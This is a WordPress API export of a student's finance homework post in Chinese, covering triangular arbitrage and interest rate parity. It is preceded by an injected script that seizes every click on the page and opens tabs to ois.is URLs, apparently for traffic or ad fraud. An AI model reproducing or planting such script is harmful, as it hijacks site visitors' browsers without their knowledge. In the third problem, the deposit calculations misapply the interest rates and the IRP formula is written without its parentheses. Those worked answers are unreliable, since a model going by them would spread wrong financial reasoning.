<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":976,"date":"2023-05-01T19:36:36","date_gmt":"2023-05-01T11:36:36","guid":{"rendered":"https:\/\/edu.secda.info\/scu8154232\/?p=976"},"modified":"2023-05-10T01:55:52","modified_gmt":"2023-05-09T17:55:52","slug":"%e8%b2%a1%e7%ae%a1%e4%bd%9c%e6%a5%ad5","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154232\/?p=976","title":{"rendered":"\u8ca1\u7ba1\u4f5c\u696d5"},"content":{"rendered":"<p><span style=\"color: #a3d1d1;\"><strong>1.<\/strong><\/span><\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"184\"><span style=\"color: #a3d1d1;\"><strong>\u00a0<\/strong><\/span><\/td>\n<td width=\"184\"><span style=\"color: #a3d1d1;\"><strong>bid<\/strong><\/span><\/td>\n<td width=\"184\"><span style=\"color: #a3d1d1;\"><strong>Ask<\/strong><\/span><\/td>\n<\/tr>\n<tr>\n<td width=\"184\"><span style=\"color: #a3d1d1;\"><strong>\u82f1\u938a\/<\/strong><strong>\u53f0\u5e63<\/strong><\/span><\/td>\n<td width=\"184\"><span style=\"color: #a3d1d1;\"><strong>50.33ntd<\/strong><\/span><\/td>\n<td width=\"184\"><span style=\"color: #a3d1d1;\"><strong>50.66ntd<\/strong><\/span><\/td>\n<\/tr>\n<tr>\n<td width=\"184\"><span style=\"color: #a3d1d1;\"><strong>\u4eba\u6c11\u5e63\/<\/strong><strong>\u53f0\u5e63<\/strong><\/span><\/td>\n<td width=\"184\"><span style=\"color: #a3d1d1;\"><strong>4.963ntd<\/strong><\/span><\/td>\n<td width=\"184\"><span style=\"color: #a3d1d1;\"><strong>5.125ntd<\/strong><\/span><\/td>\n<\/tr>\n<tr>\n<td width=\"184\"><span style=\"color: #a3d1d1;\"><strong>\u82f1\u938a\/<\/strong><strong>\u4eba\u6c11\u5e63<\/strong><\/span><\/td>\n<td width=\"184\"><span style=\"color: #a3d1d1;\"><strong>9.7195cny<\/strong><\/span><\/td>\n<td width=\"184\"><span style=\"color: #a3d1d1;\"><strong>9.75cny<\/strong><\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><span style=\"color: #a3d1d1;\"><strong>Assume you have NTD 10,000 to conduct triangular arbitrage. What is your profit <\/strong><\/span><\/p>\n<p><span style=\"color: #a3d1d1;\"><strong>from implementing this strategy?<\/strong><\/span><\/p>\n<p>&nbsp;<\/p>\n<p>\u6839\u64da\u4e0a\u8ff0\u53ef\u5f97<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-977\" src=\"https:\/\/edu.secda.info\/scu8154232\/wp-content\/uploads\/2023\/05\/gbp-300x141.png\" alt=\"\" width=\"300\" height=\"141\" srcset=\"https:\/\/edu.secda.info\/scu8154232\/wp-content\/uploads\/2023\/05\/gbp-300x141.png 300w, https:\/\/edu.secda.info\/scu8154232\/wp-content\/uploads\/2023\/05\/gbp-800x376.png 800w, https:\/\/edu.secda.info\/scu8154232\/wp-content\/uploads\/2023\/05\/gbp-768x361.png 768w, https:\/\/edu.secda.info\/scu8154232\/wp-content\/uploads\/2023\/05\/gbp-750x350.png 750w, https:\/\/edu.secda.info\/scu8154232\/wp-content\/uploads\/2023\/05\/gbp-642x300.png 642w, https:\/\/edu.secda.info\/scu8154232\/wp-content\/uploads\/2023\/05\/gbp.png 1021w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>\u7576\u6709\u4e00\u842c\u53f0\u5e63\u9032\u884c\u4e09\u89d2\u5957\u5229\u78ba\u8a8d\uff0c\u6709\u5169\u7a2e\u65b9\u6cd5<\/p>\n<ul>\n<li>\u53f0\u5e63-&gt;\u4eba\u6c11\u5e63-&gt;\u82f1\u938a-&gt;\u53f0\u5e63<\/li>\n<\/ul>\n<p>10,000*1.0072&gt;10,000<\/p>\n<p>\u5f97 \u6709\u5957\u5229\u884c\u70ba \u8cfa72\u5143<\/p>\n<ul>\n<li>\u53f0\u5e63-&gt;\u82f1\u938a-&gt;\u4eba\u6c11\u5e63-&gt;\u53f0\u5e63<\/li>\n<\/ul>\n<p>10,000*0.9522&lt;10,000<\/p>\n<p>\u5f97 \u6c92\u5957\u5229\u884c\u70ba<\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #a3d1d1;\"><strong>2.<\/strong><strong>\u8acb\u554f\u4ee5\u4e0b\u7684\u5831\u50f9\u662f\u5426\u6709\u5957\u5229\u7a7a\u9593? <\/strong><strong>\u5982\u679c\u6709\uff0c\u5982\u4f55\u64cd\u4f5c?<\/strong><\/span><\/p>\n<p><span style=\"color: #a3d1d1;\"><strong>Euro\/USD=1.2<\/strong><\/span><\/p>\n<p><span style=\"color: #a3d1d1;\"><strong>Euro\/Pound=0.8<\/strong><\/span><\/p>\n<p><span style=\"color: #a3d1d1;\"><strong>Pound\/USD=1.4<\/strong><\/span><\/p>\n<p>&nbsp;<\/p>\n<p>USD\/EURO=1\/1.2<\/p>\n<p>GBP\/EURO=1\/0.8<\/p>\n<p>USD\/GBP=1\/1.4<\/p>\n<p>\u5047\u8a2d\u4ee5\u7f8e\u91d1\u51fa\u767c<\/p>\n<ul>\n<li>\u7f8e\u91d1-&gt;\u6b50\u5143-&gt;\u82f1\u938a-&gt;\u7f8e\u91d1<\/li>\n<\/ul>\n<p>1\/1.2*0.8*1.4=0.9333<\/p>\n<p>0.9333&lt;1 \u6545\u7121\u5957\u5229\u7a7a\u9593<\/p>\n<ul>\n<li>\u7f8e\u91d1-&gt;\u82f1\u938a-&gt;\u6b50\u5143-&gt;\u7f8e\u91d1<\/li>\n<\/ul>\n<p>1\/1.4*1\/0.8*1.2=1.0714<\/p>\n<p>1.0714&gt;1 \u6545\u6709\u5957\u5229\u7a7a\u9593<\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #a3d1d1;\"><strong>3.<\/strong><\/span><\/p>\n<p><span style=\"color: #a3d1d1;\"><strong>\u8a66\u6839\u64da\u4e0b\u5217\u6578\u64da\u56de\u7b54\u4ee5\u4e0b\u554f\u984c:<\/strong><\/span><\/p>\n<p><span style=\"color: #a3d1d1;\"><strong>\u5373\u671f\u532f\u7387 30.0 NT\/US <\/strong><\/span><\/p>\n<p><span style=\"color: #a3d1d1;\"><strong>\u9060\u671f\u532f\u7387 30.5 NT\/US(90<\/strong><strong>\u5929\u671f\u9060\u671f\u5916\u532f) <\/strong><\/span><\/p>\n<p><span style=\"color: #a3d1d1;\"><strong>\u9810\u671f\u532f\u7387 30.3 NT\/US(90<\/strong><strong>\u5929\u671f)<\/strong><\/span><\/p>\n<p><span style=\"color: #a3d1d1;\"><strong>\u53f0\u7063\u5229\u7387 5%<\/strong><\/span><\/p>\n<p><span style=\"color: #a3d1d1;\"><strong>\u7f8e\u570b\u5229\u7387 3%<\/strong><\/span><\/p>\n<p><span style=\"color: #a3d1d1;\"><strong>(1) <\/strong><strong>\u6b64\u4f8b\u4e2d\u6709\u62cb\u88dc\u7684\u5229\u7387\u5e73\u50f9\u8aaa\u662f\u5426\u6210\u7acb\uff1f<\/strong><\/span><\/p>\n<p><span style=\"color: #a3d1d1;\"><strong>(2) <\/strong><strong>\u4f9d\u64da\u672a\u62cb\u88dc\u7684\u5229\u7387\u5e73\u50f9\u7406\u8ad6\uff0c\u4f60\u61c9\u8a72\u9078\u64c7\u65b0\u53f0\u5e63\u5b58\u6b3e\u6216\u7f8e\u5143\u5b58\u6b3e?<\/strong><\/span><\/p>\n<p>&nbsp;<\/p>\n<p>(1)<\/p>\n<p>\u64daIRP\u516c\u5f0f\uff0c\u62cb\u88dc\u6210\u7acb\u61c9\u70ba(F-S<sub>0<\/sub>)\/S<sub>0<\/sub>=(i<sub>d<\/sub>-i<sub>f<\/sub>)\/1+i<sub>f<\/sub><\/p>\n<p>\u5c07\u984c\u76ee\u6578\u5b57\u5e36\u5165\u516c\u5f0f (30.5-30)\/30\u2260(0.05-0.03)\/(1+0.03)\uff0c\u5f970.0166\u22600.0194<\/p>\n<p>\u56e0\u6b64\u4e0d\u6210\u7acb<\/p>\n<p>(2)<\/p>\n<p>\u4ee5\u65b0\u53f0\u5e631\u5143\u4f5c\u70ba\u5b58\u6b3e\uff0c90\u5929\u5f8c\uff0c\u9280\u884c\u5229\u606f:1*1.005\/4=0.25125<\/p>\n<p>\u4ee5\u7f8e\u51431\/30\u5143\u4f5c\u70ba\u5b58\u6b3e\uff0c90\u5929\u5f8c\uff0c\u9280\u884c\u5229\u606f:1\/30*1.003\/4*30.3=0.25326<\/p>\n<p>0.25326&gt;0.25125 \u6545\u4ee5\u7f8e\u5143\u5b58\u6b3e\u5831\u916c\u7387\u6bd4\u8f03\u9ad8<\/p>\n","protected":false},"excerpt":{"rendered":"<p>1. \u00a0 bid Ask \u82f1\u938a\/\u53f0\u5e63 50.33ntd 50.66ntd \u4eba\u6c11\u5e63<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,3],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/posts\/976"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=976"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/posts\/976\/revisions"}],"predecessor-version":[{"id":978,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=\/wp\/v2\/posts\/976\/revisions\/978"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=976"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=976"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154232\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=976"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}